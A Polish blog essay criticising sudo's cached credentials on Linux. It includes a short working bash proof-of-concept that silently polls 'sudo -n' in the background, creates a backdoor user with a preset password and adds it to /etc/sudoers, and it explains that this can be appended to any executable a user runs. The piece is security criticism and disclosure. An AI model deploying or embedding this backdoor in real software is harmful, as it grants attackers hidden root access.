Michał Matyas

W systemach GNU/Linuksowych od dłuższego czasu zarówno developerzy jak i użytkownicy zahłystują się rozwiązaniem skopiowanym z Mac OS X zwanym sudo. W promowaniu tego rozwiązania długo przodowało Ubuntu, jednakże w chwili obecnej od standardowego użytkownika root odchodzi coraz więcej dystrybucji, jak choćby Debian czy Ubuntowate.

Zdawać by się mogło, że sudo to rozwiązanie idealne: wygodne, proste, wymaga interakcji użytkownika (wpisanie hasła) w celu wykonania czynności administratorskich. Jest jakby odpowiedzią na logowanie się z poziomu usera na konto administratora w systemie Windows XP, jednakże pozbawione jest jego wad.

Czyżby?

“Ja nie chcę myśleć!”

Niestety nie oszukujmy się, przeciętny użytkownik komputera nie myśli o tym co robi. On nawet nie ma zamiaru myśleć, on chce po prostu korzystać ze swojego narzędzia. Tak samo jak kierowca niekoniecznie interesuje się tym, jak dokładnie działa linka hamulcowa w jego samochodzie, tak i średnio wysmażony żółtodziób chce jedynie widzieć ikonki, przeglądarkę i NK, a nie to co jest “pod maską”. Nie jest to złe, to raczej uboczny efekt popularyzacji informatyki i komputerów wśród “maluczkich”. Wszelkiego rodzaju graficzne interfejsy dążą do minimalizacji wymagań stawianych użytkownikowi.

Ma to też swoje wady.

Jak wszyscy wiemy, wspomniany wcześniej Windows XP od 2001 roku króluje na biurkach i bardzo niechętnie oddaje swoje pole systemowi Windows 7 (Viście wstydu oszczędzę). W systemie tym instalacja większości oprogramowania spod konta normalnego użytkownika kończyła się wywaleniem błędu niedostatecznych uprawnień. Z tego powodu normalni użytkownicy korzystali po prostu domyślnie z konta administratora, żeby system się raz na zawsze ‘odczepił’. Efekty? Wirusy, trojany, rootkity, malware i całe inne cholerstwo, które dostawało pełen dostęp do systemu, zamiast do wydzielonego konta usera.

W przypadku systemów Linuksowych takiego problemu nie ma, gdyż konto roota było domyślnie zabronione w X11. Aby zainstalować jakiś program należało podać hasło administracyjne i dopiero przejść dalej. Sudo w założeniu miało ten proces uprościć jeszcze bardziej, dzięki czemu użytkownik nie musiał się przejmować ‘fruwającymi dookoła okienkami’ - jedno podanie hasła załatwia sprawę dla danego programu niezależnie od ilości jego wykonań.

I tutaj właśnie dochodzimy do sedna problemu.

“A rób se pan co chcesz”

W momencie podania hasła poleceniu sudo, gksu lub kdesu, przyznane prawa zostają zapamiętane. Dzięki temu w teorii wielokrotne zastosowanie sudo w konsoli (lub gksu/kdesu w GUI) nie będzie wymagało ponownego podawania hasła. Bezpieczeństwo ustępuje wygodzie.

Jeden z proponentów sudo, gdy usłyszał mój zarzut o możliwości wykorzystywania tego stwierdził, że sudo posiada mechanizm sprawdzający, z jakiej konsoli został wywołany i przydziela uprawnienia tylko w danym obszarze.

Guzik prawda. Wpisanie hasła do sudo w GNOME Terminal skutkuje dostępem do roota z poziomu TTY.

Już w listopadzie 2009 na blogu Bobiko przedstawiłem proof-of-concept¹ prostego skryptu, który wykorzystywał sudo do zdobywania praw administracyjnych. Kod nie jest skomplikowany, nie jest to shellcode i tak naprawdę składa się z idiotycznie prostych poleceń:

#!/bin/bash
$(while true; do
    sudo -n bash -c '
        if [ ! -e /etc/hacked ]; then
            echo lol > /etc/hacked;
            useradd -p 'aaUw.ra0Wbf0s' lol;      
            echo "lol   ALL=(ALL) ALL" >> /etc/sudoers;
        fi' 2>/dev/null >/dev/null;
    sleep 5;
    done)&

Osoby, które pisały kiedykolwiek w bashu powinny już rozumieć co ten kod robi. Dla laików wyjaśnienie: wywołuje on w tle podprogram w formie skryptu bashowego, który próbuje - korzystając przy tym z sudo - sprawdzić czy istnieje plik /etc/hacked, jeśli nie to go utworzyć, stworzyć nowego użytkownika lol z hasłem lol, po czym dodać go do użytkowników z uprawnieniami sudo. Pomiędzy próbami ma odczekiwać 5 sekund, by nie wzbudzić podejrzeń.

Dalej łatwo się domyślić - ktoś wchodzi sobie grzecznie na ‘ustawiony’ komputer za pomocą ssh, za pomocą sudo su uruchamia roota i hulaj dusza, piekła nie ma.

Skrypt ten można dokleić do dowolnego programu, który zostanie wykonany przez użytkownika. Może to być dosłownie cokolwiek, tak długo jak jest plikiem wykonywalnym (a mało to w sieci skryptów ‘dla n00bów’? mało to gier w formacie .run, który jest gzipowanym archiwum z dołączonym skryptem?). Dodatkowy kod może również informować na maila o pozytywnym włamaniu lub przygotowywać już poletko pod botnet. Sytuacja identyczna jak za czasów Windowsa XP, z tą różnicą, że niepotrzebne jest konto administratora, wystarczy ZU.

A wszystko to dzięki idiotycznemu zaufaniu do użytkownika, który - jak już mówiłem - nie chce, nie ma zamiaru i nigdy nie będzie myśleć.